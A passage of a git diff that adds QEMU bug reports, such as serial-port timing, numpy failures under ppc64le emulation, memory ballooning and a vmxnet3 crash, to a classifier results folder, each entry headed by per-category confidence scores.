<xfds>, ret=-1, +> ret@entry=1) at iohandler.c:121 +> #7 0x00000000004e8a14 in main_loop_wait (nonblocking=<optimized out>) +> at main-loop.c:497 +> #8 0x00000000004e802b in main_loop () +> at /usr/src/aur/qemu/src/qemu-1.2.0/vl.c:1643 +> #9 main (argc=<optimized out>, argv=<optimized out>, envp=<optimized out>) +> at /usr/src/aur/qemu/src/qemu-1.2.0/vl.c:3755 + +Can't reproduce on qemu.git/master (1ccbc2851282564308f790753d7158487b6af8e2) or +qemu-system-x86-1.2.0-23.fc18.x86_64. + +I get to the OpenWRT root prompt. + +Please build qemu.git/master from source to verify whether this issue +still exists: + + $ git clone git://git.qemu-project.org/qemu.git + $ cd qemu + $ ./configure --target-list=x86_64-softmmu && make + $ x86_64-softmmu/qemu-system-x86_64 -serial tcp:127.0.0.1:4444 -hda openwrt-x86-generic-combined-ext4.img + +Note that if you want to connect to the serial port you should use +-serial tcp:127.0.0.1:4444,server. The command-line you specified tries +to connect to 127.0.0.1:4444 as a client instead of listening as a +server. + +Thanks, +Stefan + + +I'm seeing this too. If someone cares to tell me how I get a core file from qemu-under-libvirt I will do that and report back on debugging. + +(fairly sure it's in the iohandler based on a manual check of the symbols, though) + +Can you still reproduce this issue somehow with the latest version of QEMU (currently v2.9.0)? Otherwise, I think we can close this ticket nowadays... + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1086 b/results/classifier/108/graphic/1086 new file mode 100644 index 000000000..d118f248d --- /dev/null +++ b/results/classifier/108/graphic/1086 @@ -0,0 +1,84 @@ +graphic: 0.964 +debug: 0.955 +device: 0.949 +performance: 0.946 +other: 0.946 +socket: 0.945 +semantic: 0.936 +boot: 0.928 +permissions: 0.927 +vnc: 0.924 +PID: 0.909 +network: 0.908 +files: 0.857 +KVM: 0.619 + +Numpy/scipy test suites fails in QEMU on ppc64le (but not on aarch64) +Description of problem: +I'm not really qualified to report this problem, but after being affected by it for ~2 years (and QEMU 7 not fixing things), I decided to give it a shot. Please excuse reporting deficiencies, I'll endeavour to fix them as best I can once pointed out. + +In my spare time, I help out for the packaging effort in the [conda-forge](https://conda-forge.org/) ecosystem, which is mostly associated/attached to the python world, but - in contrast to the vanilla python tools - also deals with non-python dependencies, and in particular has strong enough abstractions to deal with ABI-issues and generally provides much better integration than the packages on PyPI. + +This strength of abstraction has also allowed conda-forge to publish artefacts for many more architectures than most projects are commonly able to provide precompiled binaries for. Due to the lack of (reliable) public CI for aarch64 & ppc64le, these packages are mostly cross-compiled from linux-x86. Where cross compilation is not possible, the packages are compiled in emulation through QEMU, coming through https://github.com/multiarch/qemu-user-static (this is the part of the infrastructure I don't fully understand myself...). The full infrastructure is somewhat involved, but should not be relevant (hopefully) to the issue at hand (see instructions below) - and even if that turns out to be the case, that would be a great information gain as well. + +In either case, the tests for the package (ideally comprising the entire upstream test suite) are then run in emulation. + +Two of the so-called "feedstocks" I co-maintain are for [numpy](https://github.com/conda-forge/numpy-feedstock) and [scipy](https://github.com/conda-forge/scipy-feedstock), and there have been persistent issues with running the test suite in emulation on PPC (interestingly, the same setup on a different architecture - aarch64 - has no problems). However, the compiled artefacts on PPC run fine on native hardware. + +Said otherwise, it appears numpy/scipy are exercising QEMU enough to uncover some bugs. I've seen similar problems also in other packages (e.g. the cvxpy-stack), reinforcing the impression that this is a QEMU issue, and not one on the level of the individual packages. + +Depending on the exact combination of python version, the result of the numpy test suite might be as follows: +``` +320 failed, 18900 passed, 361 skipped, 36 xfailed, 9 xpassed, 144 warnings in 2516.49s (0:41:56) +``` + +Looking at the test failures, sometimes the results are garbage +``` +> assert_array_max_ulp(x, x+eps, maxulp=20) +E AssertionError: Arrays are not almost equal up to 20 ULP (max difference is 8.55554e+08 ULP) + +eps = 1.1920929e-07 +self = <numpy.testing.tests.test_utils.TestULP object at 0x401ec8beb0> +x = array([ 2.3744986e-38, nan, 2.2482052e-15, 7.5780330e+28, + nan, nan, 5.8310814e+29, -5.6511531e+24, + 1.0010809e+00, 1.0101526e+00], dtype=float32) +``` +sometimes the values are permuted +``` +> assert_array_equal(actual, desired) +E AssertionError: +E Arrays are not equal +E +E x and y nan location mismatch: +E x: array([0.000000e+00, 6.704092e-39, 9.000000e+00, 2.350989e-38, +E 0.000000e+00, 0.000000e+00, 0.000000e+00, 0.000000e+00, +E 6.772341e-39, nan], dtype=float32) +E y: array([6.704092e-39, 6.772341e-39, 0.000000e+00, 0.000000e+00, +E 0.000000e+00, 0.000000e+00, nan, 2.350989e-38, +E 2.000000e+00, 7.000000e+00], dtype=float32) +``` +sometimes the results are fundamentally different (zero vs. non-zero) +``` +> raise AssertionError(msg) +E AssertionError: +E Arrays are not almost equal to 6 decimals +E +E Mismatched elements: 72 / 216 (33.3%) +E Max absolute difference: 1. +E Max relative difference: 1. +E x: array([[[[[0., 0., 0.], +E [0., 0., 0.], +E [0., 0., 0.]],... +E y: array([[[[[1., 0., 0.], +E [0., 1., 0.], +E [0., 0., 1.]],... +``` + +I don't know where it goes wrong, but it's not just a little tolerance violation. One PR that illustrates this is [here](https://github.com/conda-forge/numpy-feedstock/pull/274) and the respective CI run is [here](https://dev.azure.com/conda-forge/feedstock-builds/_build/results?buildId=526218&view=results) (ignore the errors for osx-arm64, those are unrelated). +Steps to reproduce: +1. In an emulated ppc64 machine, install miniforge from [here](https://github.com/conda-forge/miniforge/releases/latest/download/Miniforge3-Linux-ppc64le.sh) +2. Run `conda create -n test_env numpy pytest cython hypothesis typing_extensions` and then `conda activate test_env` +3. Run `python -c "import numpy; numpy.test()"` +4. Pick any test that fails and run it as `python -c "import numpy; numpy.test(tests='x.y.z')"` +Additional information: + diff --git a/results/classifier/108/graphic/1086745 b/results/classifier/108/graphic/1086745 new file mode 100644 index 000000000..b40ac43f7 --- /dev/null +++ b/results/classifier/108/graphic/1086745 @@ -0,0 +1,267 @@ +graphic: 0.957 +debug: 0.947 +files: 0.945 +other: 0.943 +device: 0.935 +performance: 0.932 +boot: 0.930 +permissions: 0.929 +network: 0.929 +PID: 0.922 +socket: 0.912 +semantic: 0.909 +vnc: 0.897 +KVM: 0.894 + +serial port data THRE comes too early + +When using a serial port with a Linux guest (and host) and the application uses hardware handshake, this fails because the handling of TEMT and/or THRE is not operating properly in such cases. + +As long as it takes _time_ for the 'real' port to output the data TEMT may not return true. After writing characters to a real port, the driver should timeout the transmission and after the total time expired, TEMT can be set. + +Some applications i.e. with a simplex modem do: RTS_on, WRITE_data, repeat IOCTL(GET_LSR_INFO), RTS_off, READ_data. +At the moment this fails because very early in the transmission, GET_LSR_INFO returns true and the modem transmitter is switched off. + +I looked in the source (git) and found that 'char_transmit_time' is present. My skills fail to implement it myself. +I build and ran the latest git version and found it to fail as decribed above. I hope someone can solve it. + +Could you please give more details, like the steps to reproduce this problems. + +Thanks. + +Hello, + +It is a Linux host and a Linux guest. One serial port (/dev/ttyS0) is +passed from the host to the guest. + +The application (on the guest) does Hart (r) communication, This is +done with a 1200 baud simplex modem (one side at a time). + +The application raises RTS so that the modem goes in transmit state, +it writes a couple of bytes. Only after _all_ bytes are written in +reality the RTS is to be de-activated which puts the modem in receive +state. Normally a loop like + +int parm =0; + +while (!parm) + ioctl(devicefd,TIOCSERGETLSR , &parm); + +is executed, The loop exits when parm is not zero (TEMT is set); + +The current implementation of TIOCSERGETLSR only checks fifo count +which is nowhere a accurate way of checking if the device in the host +has written all its characters, thus the function +ioctl(devicefd,TIOCSERGETLSR , &parm) returns parms set already when +the second character is transmitted and thus the whole communication +cycle is disrupted. + +One possible solution is having ioctl(.... TIOCSERGETLSR ...) in the +guest to check the result of ioctl(..... TIOCSERGETLSR....) in the +host. Another way is timing of the transmission, that is for each +character written the guest needs to add the charactertime to a timer +and only when the timer timesout TEMT is to be set. + +does this help to understand the problem? + +best regards + +Kees + + +Hello, + +I have attached 2 scope shots, SCR0002.BMP shows a failing +communication cycle, the upper trace is the RTS signal on the port, +the lower trace shows the databytes wriiten. +SCR00004.BMP show how it had to be, RTS is active during the whole databytes. + +In general an application will issue ioctl(<fdn>,TOICSERGETLSR, +&<bits>) and continue as soon as the 'bits' are set. Thus for this to +work the ioctl call should _only_ return 'bits' set if the _real +hardware_ has written the bytes. + +Kees + + +On 12/5/12, Lei Li <email address hidden> wrote: +> Could you please give more details, like the steps to reproduce this +> problems. +> +> Thanks. +> +> -- +> You received this bug notification because you are subscribed to the bug +> report. +> https://bugs.launchpad.net/bugs/1086745 +> +> Title: +> serial port data THRE comes too early +> +> Status in QEMU: +> New +> +> Bug description: +> When using a serial port with a Linux guest (and host) and the +> application uses hardware handshake, this fails because the handling +> of TEMT and/or THRE is not operating properly in such cases. +> +> As long as it takes _time_ for the 'real' port to output the data TEMT +> may not return true. After writing characters to a real port, the +> driver should timeout the transmission and after the total time +> expired, TEMT can be set. +> +> Some applications i.e. with a simplex modem do: RTS_on, WRITE_data, repeat +> IOCTL(GET_LSR_INFO), RTS_off, READ_data. +> At the moment this fails because very early in the transmission, +> GET_LSR_INFO returns true and the modem transmitter is switched off. +> +> I looked in the source (git) and found that 'char_transmit_time' is +> present. My skills fail to implement it myself. +> I build and ran the latest git version and found it to fail as decribed +> above. I hope someone can solve it. +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/1086745/+subscriptions +> + + +could this be related? https://bugs.launchpad.net/ubuntu/+bug/1087519 + +Hello Friend, + +I don't think so. He is referring to a normal modem with an AT command +set not responding +to incoming call, which is probably a setup issue. + +I am referring to how the _hardware handshake_ signals from the guest +environment are passed to the host. + +best regards + +Kees + +On 12/9/12, Koen Hendrix <email address hidden> wrote: +> could this be related? https://bugs.launchpad.net/ubuntu/+bug/1087519 +> +> -- +> You received this bug notification because you are subscribed to the bug +> report. +> https://bugs.launchpad.net/bugs/1086745 +> +> Title: +> serial port data THRE comes too early +> +> Status in QEMU: +> New +> +> Bug description: +> When using a serial port with a Linux guest (and host) and the +> application uses hardware handshake, this fails because the handling +> of TEMT and/or THRE is not operating properly in such cases. +> +> As long as it takes _time_ for the 'real' port to output the data TEMT +> may not return true. After writing characters to a real port, the +> driver should timeout the transmission and after the total time +> expired, TEMT can be set. +> +> Some applications i.e. with a simplex modem do: RTS_on, WRITE_data, repeat +> IOCTL(GET_LSR_INFO), RTS_off, READ_data. +> At the moment this fails because very early in the transmission, +> GET_LSR_INFO returns true and the modem transmitter is switched off. +> +> I looked in the source (git) and found that 'char_transmit_time' is +> present. My skills fail to implement it myself. +> I build and ran the latest git version and found it to fail as decribed +> above. I hope someone can solve it. +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/1086745/+subscriptions +> + + +>I don't think so. He is referring to a normal modem with an AT command +>set not responding +>to incoming call, which is probably a setup issue. +no. please read further on; i described another oddity in the same bugreport. + +>I am referring to how the _hardware handshake_ signals from the guest +>environment are passed to the host. +you used a hardware scope. so you used real serial ports: one controlled by the host, one by qemu. what is the difference? in either instance, there is at least one native linux kernel involved in the handshake. + +disregard this if i'm talking nonsense. + +Hello, + +The scope traces that I sent are from 2 sources yes, the one with the +'short' RTS time is taken when the port was driven by the (Linux) +guest . + +The trace with the correct RTS length was taken when the port was +driven by the (Linux) host. + +Both times the same application. I looked in the sources for QEMU and +I am believing that the functionality of the ioctl(..., TIOCSERGETLSR +...) is not returning the correct status of the guest+host port. + +I will look to the report again anyway. + +best regards + +Kees + +On 12/9/12, Koen Hendrix <email address hidden> wrote: +>>I don't think so. He is referring to a normal modem with an AT command +>>set not responding +>>to incoming call, which is probably a setup issue. +> no. please read further on; i described another oddity in the same +> bugreport. +> +>>I am referring to how the _hardware handshake_ signals from the guest +>>environment are passed to the host. +> you used a hardware scope. so you used real serial ports: one controlled by +> the host, one by qemu. what is the difference? in either instance, there is +> at least one native linux kernel involved in the handshake. +> +> disregard this if i'm talking nonsense. +> +> -- +> You received this bug notification because you are subscribed to the bug +> report. +> https://bugs.launchpad.net/bugs/1086745 +> +> Title: +> serial port data THRE comes too early +> +> Status in QEMU: +> New +> +> Bug description: +> When using a serial port with a Linux guest (and host) and the +> application uses hardware handshake, this fails because the handling +> of TEMT and/or THRE is not operating properly in such cases. +> +> As long as it takes _time_ for the 'real' port to output the data TEMT +> may not return true. After writing characters to a real port, the +> driver should timeout the transmission and after the total time +> expired, TEMT can be set. +> +> Some applications i.e. with a simplex modem do: RTS_on, WRITE_data, repeat +> IOCTL(GET_LSR_INFO), RTS_off, READ_data. +> At the moment this fails because very early in the transmission, +> GET_LSR_INFO returns true and the modem transmitter is switched off. +> +> I looked in the source (git) and found that 'char_transmit_time' is +> present. My skills fail to implement it myself. +> I build and ran the latest git version and found it to fail as decribed +> above. I hope someone can solve it. +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/1086745/+subscriptions +> + + +Triaging old bug tickets... can you still reproduce this issue with the latest version of QEMU? Or could we close this ticket nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1089 b/results/classifier/108/graphic/1089 new file mode 100644 index 000000000..c74e83a3a --- /dev/null +++ b/results/classifier/108/graphic/1089 @@ -0,0 +1,39 @@ +graphic: 0.968 +device: 0.924 +performance: 0.899 +PID: 0.853 +debug: 0.730 +semantic: 0.644 +vnc: 0.631 +permissions: 0.598 +network: 0.597 +other: 0.593 +socket: 0.460 +files: 0.447 +boot: 0.427 +KVM: 0.418 + +when I use memory balloon,the qemu process memory usage is displayed incorrectly +Description of problem: +My vm memory is 4GB,and use the balloon driver,the balloon value is also 4GB. +I run a soft to consume memory in vm,I can see the memory usage rate is 15% in host. When I stop the soft in vm,the memory of free info in host and vm +become normal,but use "top -d 3 -Hp $qemu_pid" to query in host,the memory usage rate is also 15%.I need to modify the balloon value in a smaller values,the memory usage rate will reduce. why? + +Steps to reproduce: +1.run a soft to consume memory in vm,and query top info,the qemu process memory usage:15% + + +2.query free info in host and vm (reduce) + + +3.stop sort in vm + + +4.query free info in host and vm (recover) + + +5.query top info again (also 15%) + + + +6.modify the balloon value in a smaller (modify the balloon value in a smaller values,the memory usage rate will reduce) diff --git a/results/classifier/108/graphic/1091115 b/results/classifier/108/graphic/1091115 new file mode 100644 index 000000000..f45f9e855 --- /dev/null +++ b/results/classifier/108/graphic/1091115 @@ -0,0 +1,51 @@ +graphic: 0.950 +other: 0.943 +files: 0.905 +performance: 0.867 +semantic: 0.866 +debug: 0.858 +vnc: 0.843 +PID: 0.834 +permissions: 0.814 +KVM: 0.809 +device: 0.794 +network: 0.731 +socket: 0.720 +boot: 0.715 + +windowsXP install in qemu-system-i386 1.3.0 ends with a BSOD 0x7E in acpi.sys + +These are the commands: +$git checkout v1.3.0 +$./configure --prefix=/home/user/tmp --target-list=i386-softmmu --enable-sdl --disable-curses --disable-vnc --enable-kvm --disable-docs +$make +$make install +In /home/user/tmp directory: +$./bin/qemu-img create imgs/winxp.img 4G +$./bin/qemu-system-i386 imgs/winxp.img -cdrom ~/Downloads/zh-hans_windows_xp_professional_with_service_pack_3_x86_cd_x14-80404.iso + +then it show a bluescreen after a few seconds. +See the attachment for more information, please. + +It works well when checking out v1.2.0. + + + +Same as Bug 1096712 I reported + +It is most likely the seabios bits missing in 1.3.0, namely this change: + + http://git.qemu.org/?p=seabios.git;a=commitdiff;h=f64a472a481784231fbf8541825501df411b11d1 + +You may try this bios file: + + http://git.qemu.org/?p=qemu.git;a=blob;f=pc-bios/bios.bin;h=3910875311ceaed814f902e9e4e7e29cdf340fc6 + +at least it works for me on top of 1.3.0 version, and 1.3.0 without updated bios behaves like you describe. So I'm marking this as "fix comitted" for now, waiting for 1.3.1 release... + +Alternative BIOS works for me with both installed system and installer. + +I have also verified that the BIOS above works with Windows XP (SP2). + +Changing status to "Fix Released" since this should have been included since a couple of releases now. + diff --git a/results/classifier/108/graphic/1094 b/results/classifier/108/graphic/1094 new file mode 100644 index 000000000..a44e52624 --- /dev/null +++ b/results/classifier/108/graphic/1094 @@ -0,0 +1,23 @@ +graphic: 0.935 +device: 0.900 +performance: 0.879 +semantic: 0.728 +PID: 0.648 +other: 0.616 +debug: 0.599 +permissions: 0.495 +boot: 0.302 +vnc: 0.231 +socket: 0.155 +network: 0.130 +KVM: 0.091 +files: 0.088 + +Ubuntu's 22.04 Qemu high RAM usage (memory leak maybe) +Description of problem: +After starting/using my VM for a while, RAM fills up to the 32gb maximum, and firefox starts closing tabs and etc. This didn't happen in ubuntu 21.10 or earlier ubuntus. I've been using virt-manager + qemu for years and only had this after upgrading to ubuntu 22.04. +Steps to reproduce: +1. Launch virt-manager ubuntu VM with 12gb ram maximum (as an example) +2. RAM entire 32gb gets filled but nothing in gnome-system-monitor shows what is using all that RAM +3. Firefox starts closing tabs because RAM is full. Remember that only a 12gb RAM vm and firefox with a few tabs are running, and it fills all 32gb of RAM. Ram starts filling slowly and in 1 hour it fills the entire 32gb. For some reason htop shows a smaller usage, but I'm pretty sure all 32gb are being used as the computer starts freezing and almost crashing (I think swap is being used so it slows down but do not crash) +4. have to restart the computer for RAM to get normal again diff --git a/results/classifier/108/graphic/1099403 b/results/classifier/108/graphic/1099403 new file mode 100644 index 000000000..916778169 --- /dev/null +++ b/results/classifier/108/graphic/1099403 @@ -0,0 +1,29 @@ +graphic: 0.941 +vnc: 0.936 +performance: 0.918 +device: 0.802 +semantic: 0.695 +network: 0.668 +PID: 0.563 +debug: 0.534 +permissions: 0.432 +boot: 0.367 +socket: 0.360 +other: 0.282 +files: 0.206 +KVM: 0.068 + +High CPU utilization in vnc mode + +We start a gentoo guest using ./x86-64-softmmu/qemu-x86-64 -hda <disk>.qcow2 -vnc :6. + +Then we start a vncviewer session to this guest from a remote computer. In this session, we start a video. After starting the video, the CPU utilization of the guest (the qemu-x86-64 process) increases to about 90%. The high CPU utilization persists even after closing the vncviewer session. + +However, the CPU usage while running a video inside a gentoo guest (without a remote computer connecting via vncviewer) is only 20-30%. So we suspect the high CPU usage to be due to the vncserver code running inside QEMU which has to do a lot of work to send the framebuffer updates to the client. + +My question is why does the usage not decrease when the remote vncviewer is disconnected? On simple computers (no virtual guests), the CPU usage of vncserver decreases drastically when the vncviewer client is disconnected. Why does this not happen in the vncserver provided by QEMU (through -vnc :6). + +Triaging old bug tickets ... Can you still reproduce this problem wit the latest release of QEMU (currently version 2.9.0), or could we close this bug nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1107 b/results/classifier/108/graphic/1107 new file mode 100644 index 000000000..205b1a4a7 --- /dev/null +++ b/results/classifier/108/graphic/1107 @@ -0,0 +1,39 @@ +graphic: 0.942 +files: 0.818 +device: 0.657 +boot: 0.591 +semantic: 0.584 +performance: 0.549 +PID: 0.472 +other: 0.454 +debug: 0.386 +permissions: 0.330 +vnc: 0.290 +socket: 0.278 +network: 0.264 +KVM: 0.234 + +Virtual monitor heads are not "connected" until viewed in a front end +Description of problem: +When you attach a virtual GPU to a guest, qemu appears to only "attach" a virtual monitor to an output port when that virtual display is +viewed using the GUI. For example, when you boot using the above command line, there will be four displays in ```/sys/class/drm/``` on the guest, +```card0-Virtual-1``` through to ```card0-Virtual-4```. In each of these directories, there is an "enabled" file, which contains either +"enabled" or "disabled". These contain "disabled" until you switch tab/view to look at it using the GUI, at which point they change to "enabled". + +This causes a problem for us because Weston will not initialise displays that do not have a monitor attached, meaning the system we are trying +to boot fails because not all the Weston display surfaces are available. + +There does not appear to be a command line option to force virtual monitors to be attached to virtual displays immediately. Looking through the +Gtk user interface code (and the other front ends) there does not appear to be a call into the qemu core that requests the connection of a virtual +monitor to the virtual displays - my guess is that qemu only connects a monitor when a render request first happens (or similar), but I have not followed the code paths deeper than the source files in ```QEMU/ui/```. + +I also tried using the ```screengrab``` command to screenshot each head, but this does not need sufficient to cause the display to be marked +enabled in the guest. + +While we could possibly automate the GUI using some external tool, we ultimately need to run this in a CI environment using +```egl-headless``` or similar. +Steps to reproduce: +1. Launch qemu with virtio-gpu-gl setting max_outputs > 1 +2. On guest, ```cat /sys/drm/class/card0-Virtual-2``` - it reads "disabled" +3. On host, switch the view to look at the second display ("virtio-gpu-gl-pci.1") +4. On guest, ```cat /sys/drm/class/card0-Virtual-2``` - it now reads "enabled" diff --git a/results/classifier/108/graphic/1115 b/results/classifier/108/graphic/1115 new file mode 100644 index 000000000..75dd3c2e8 --- /dev/null +++ b/results/classifier/108/graphic/1115 @@ -0,0 +1,29 @@ +graphic: 0.977 +device: 0.921 +PID: 0.881 +performance: 0.839 +socket: 0.759 +vnc: 0.679 +boot: 0.673 +semantic: 0.607 +permissions: 0.552 +debug: 0.529 +network: 0.462 +other: 0.300 +files: 0.262 +KVM: 0.065 + +qemu 7.0.0 stuck at Windows boot logo with SeaBios and MBR disk +Description of problem: +When trying to boot an MBR Windows guest with SeaBios, it is stuck at the blue Windows boot logo, before the loading circle. +Changing the vGPU doesn't help, 0% cpu load just frozen. Even if I boot a WinPE iso, the same happens. +Even after 30 minutes, the same. +Rebooted host multiple times. +Since SeaBios is the default in qemu and virt-manager I imagine many VMs are installed as MBR and thus will be stuck. +To boot the VM I have to: +- switch to UEFI (TianoCore) +- boot WinPE iso +- use proprietary software to convert the Windows disk from MBR to GPT +Then it boots just fine but I imagine not many users will be able to do this. +Steps to reproduce: +1. boot Windows image / WinPE iso with SeaBios diff --git a/results/classifier/108/graphic/1120 b/results/classifier/108/graphic/1120 new file mode 100644 index 000000000..5ad6ad92c --- /dev/null +++ b/results/classifier/108/graphic/1120 @@ -0,0 +1,27 @@ +graphic: 0.941 +device: 0.885 +files: 0.862 +performance: 0.849 +semantic: 0.829 +debug: 0.632 +boot: 0.539 +vnc: 0.482 +PID: 0.444 +other: 0.332 +permissions: 0.163 +network: 0.134 +KVM: 0.129 +socket: 0.032 + +Multiboot direct loading broken. +Description of problem: +This is my kernel and it's multiboot loader. It passed the check of `grub-file`, but QEMU could not load it. +``` +qemu-system-i386: Error loading uncompressed kernel without PVH ELF Note +``` + +When I add `-machine type=pc-i440fx-3.1`, QEMU shows `qemu: linux kernel too old to load a ram disk` or `qemu: invalid kernel header`. + +The multiboot file is linked with `ld.lld -s -o`. + +[toop](/uploads/7f230dc39d6a3a8c43c4c720d31878c6/toop)[multiboot](/uploads/59faa4607dc2837b54c89b35db6f206a/multiboot) diff --git a/results/classifier/108/graphic/1144 b/results/classifier/108/graphic/1144 new file mode 100644 index 000000000..fbfa0d065 --- /dev/null +++ b/results/classifier/108/graphic/1144 @@ -0,0 +1,28 @@ +graphic: 0.959 +device: 0.882 +PID: 0.633 +semantic: 0.608 +other: 0.598 +files: 0.548 +socket: 0.504 +network: 0.464 +performance: 0.455 +debug: 0.399 +vnc: 0.393 +permissions: 0.365 +boot: 0.290 +KVM: 0.097 + +Cannot install on ArcoLinux +Description of problem: +I tried to install with my package manager +``` +paru -S qemu-git +``` +and got these errors +``` +qemu-git: /usr/share/qemu/bios-microvm.bin exists in filesystem (owned by seabios) +qemu-git: /usr/share/qemu/vgabios-ati.bin exists in filesystem (owned by seabios) +``` + +I tried searching around for a solution but I can't seem to find anything relevant to my situation. diff --git a/results/classifier/108/graphic/1151450 b/results/classifier/108/graphic/1151450 new file mode 100644 index 000000000..0689d7cd0 --- /dev/null +++ b/results/classifier/108/graphic/1151450 @@ -0,0 +1,38 @@ +graphic: 0.945 +files: 0.900 +device: 0.886 +semantic: 0.871 +other: 0.810 +network: 0.672 +permissions: 0.637 +PID: 0.626 +socket: 0.535 +performance: 0.535 +boot: 0.531 +vnc: 0.512 +debug: 0.443 +KVM: 0.170 + +wrong description in qemu manual + + +Description: +man qemu, there is a line: +qemu-system-x86_84 --drive file=gluster://192.0.2.1/testvol/a.img +seems should be: +qemu-system-x86_64 --drive file=gluster://192.0.2.1/testvol/a.img + +Additional info: +* operating system +arch linux x86_64 +* package version(s) +1.4.0 +* config and/or log files etc. + + +Steps to reproduce: +man qemu + +This typo was fixed in commit db2d5eba652ec back in 2013, but we forgot to close the bug. Oops, and belated thanks for the report! + + diff --git a/results/classifier/108/graphic/1168 b/results/classifier/108/graphic/1168 new file mode 100644 index 000000000..903da1543 --- /dev/null +++ b/results/classifier/108/graphic/1168 @@ -0,0 +1,28 @@ +graphic: 0.927 +device: 0.838 +other: 0.791 +performance: 0.748 +network: 0.748 +debug: 0.747 +PID: 0.731 +semantic: 0.712 +permissions: 0.533 +socket: 0.511 +files: 0.504 +KVM: 0.490 +vnc: 0.443 +boot: 0.403 + +ivshmem: ivshmem-doorbell can't notify the MSI-X interrupt on Arm64 guest +Description of problem: +I init several qemu-kvm VMs on my arm64 host, which is a NVIDIA Xavier board. I want to use qemu's ivshmem-doorbell to build a sync shared memory communition with its MSI-X interrupt mechanism. I init the ivshmem-server and ivshmem-client on the host first, after then init the guests. The visul PCI-e device named "Inter-VM shared memory" can be successfully seen in my guests with command "lspci". +I write a driver for this pci-e device to request and handle the MSI-X interrupts, which init well in the guest and can ring or receive from an interrupt vector on other peerID with the driver's IOCTL interface, the peer that receive vector in my environment is the ivshmem-client. However, when i use the ivshmem-client command "int" to ring my guest , the guest can't receive the msi-x interrupt notification. +Steps to reproduce: +1. init ivshmem-server on the host, with command "ivshmem-server -l 4M -M fg-doorbell -n 8 -F -v". +2. init ivshmem-client on the host, with command "ivshmem-client -v". +3. init the qemu-kvm VM . +4. init the driver with "insmod" in guest to request the msi-x interrupt, while "cat /proc/interrupts" shows the interrupt request successfully! +5. on host, ivshmem-client use command "int 1 0" to ring the guest's interrupt trigger, however ,nothing happened. +Additional information: +I am fully sure that there is no problem about the driver I wrote for the pci-e inter-VM shared memory device, for i has tested that the driver works on my X86 PC, where I deployed qemu-x86 VMs and the driver can work well in X86 guests with the inshmem-doorbell mechanism. The ivshmem-client work on host can notify the guest to trigger the correct msix-x interrupt. +Therefore, I digged the msi-x interrupt structure and use devmem tool to write the data to the messageAddress manually, which can correctly trigger the msi-x interrupt in my arm64 guest in the Xavier board, meaning the msi-x interrupt is OK in the guest. So I doubt maybe there is any issue on the ivshmem-doorbell mechanism that ring a interrupt vector in the guset of qemu-aarch64. diff --git a/results/classifier/108/graphic/1177 b/results/classifier/108/graphic/1177 new file mode 100644 index 000000000..8ff2c3f60 --- /dev/null +++ b/results/classifier/108/graphic/1177 @@ -0,0 +1,31 @@ +graphic: 0.978 +network: 0.942 +boot: 0.923 +device: 0.921 +performance: 0.872 +semantic: 0.838 +other: 0.728 +files: 0.704 +PID: 0.624 +permissions: 0.569 +debug: 0.522 +vnc: 0.475 +socket: 0.275 +KVM: 0.094 + +booting linux hangs with -cpu max or -cpu max,lpa2=off, but works with -cpu cortex-a57 +Description of problem: + +Steps to reproduce: +1. Snag mini.iso from http://ports.ubuntu.com/ubuntu-ports/dists/bionic-updates/main/installer-arm64/current/images/netboot/mini.iso +2. qemu-img create ubuntu-image.img 20G +3. dd if=/dev/zero of=flash1.img bs=1M count=64 +4. dd if=/dev/zero of=flash0.img bs=1M count=64 +5. dd if=/home/imp/git/qemu/00-build/pc-bios/edk2-aarch64-code.fd of=flash0.img conv=notrunc +6. Run the above command +7. Select install, watch the kernel hang. +8. Change -cpu max to -cpu cortex-a57 and it will work. -cpu max,lpa2=off also exhibits the problem +Additional information: +Just grabbed git and built it with ./configure in /home/imp/git/qemu/00-build. + +pm215 on irc suggested that it was an old EDK2 and a newer one is needed to cope with the newer CPU features in -cpu max diff --git a/results/classifier/108/graphic/1185 b/results/classifier/108/graphic/1185 new file mode 100644 index 000000000..a6672a16c --- /dev/null +++ b/results/classifier/108/graphic/1185 @@ -0,0 +1,20 @@ +graphic: 0.973 +device: 0.758 +semantic: 0.655 +other: 0.560 +network: 0.558 +debug: 0.540 +socket: 0.530 +vnc: 0.469 +files: 0.413 +PID: 0.413 +boot: 0.393 +KVM: 0.264 +performance: 0.148 +permissions: 0.091 + +./configure has unprefixed calls to pkg-config and clang breaking cross-compilation +Description of problem: +The configure script (as generated) includes some calls to the toolchain without including cross compiler prefixes. This can very easily break cross compilation. Here are the locations: + +# diff --git a/results/classifier/108/graphic/1187334 b/results/classifier/108/graphic/1187334 new file mode 100644 index 000000000..0f0695c2f --- /dev/null +++ b/results/classifier/108/graphic/1187334 @@ -0,0 +1,28 @@ +graphic: 0.943 +network: 0.889 +device: 0.878 +performance: 0.684 +socket: 0.626 +vnc: 0.563 +PID: 0.543 +semantic: 0.473 +debug: 0.384 +permissions: 0.340 +files: 0.291 +boot: 0.245 +other: 0.242 +KVM: 0.017 + +crash on hot-unplug of vmxnet3 + +Hot-unplug of a vmxnet3 device crashes as follows: + +(qemu) device_add id=ff,driver=vmxnet3 +[vmxnet3][WR][vmxnet3_peer_has_vnet_hdr]: Peer has no virtio extension. Task offloads will be emulated. +(qemu) device_del ff +(qemu) qemu-system-x86_64: /home/pbonzini/work/upstream/qemu/net/net.c:315: qemu_del_net_client: Assertion `queues != 0' failed. + +Looks like this assertion does not trigger with the current version anymore, so I think we could close this bug. Or can you still reproduce it? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1188991 b/results/classifier/108/graphic/1188991 new file mode 100644 index 000000000..ba521a5cd --- /dev/null +++ b/results/classifier/108/graphic/1188991 @@ -0,0 +1,83 @@ +graphic: 0.949 +permissions: 0.949 +semantic: 0.949 +debug: 0.943 +other: 0.942 +performance: 0.939 +device: 0.937 +PID: 0.926 +socket: 0.922 +boot: 0.922 +network: 0.921 +files: 0.912 +vnc: 0.881 +KVM: 0.864 + +Unable to do serial communication using -chardev tty + + + +Im running an Linux Image (kernel 3.2.8) for beagleboard-xm on QEMU's 1.4.0 emulator. + + +What I want to do is to have a communication between guest and host across serial the 4 differents ttyO present on the guest. QEMU offer facilities to redirect the trafic to some device in the host side. + 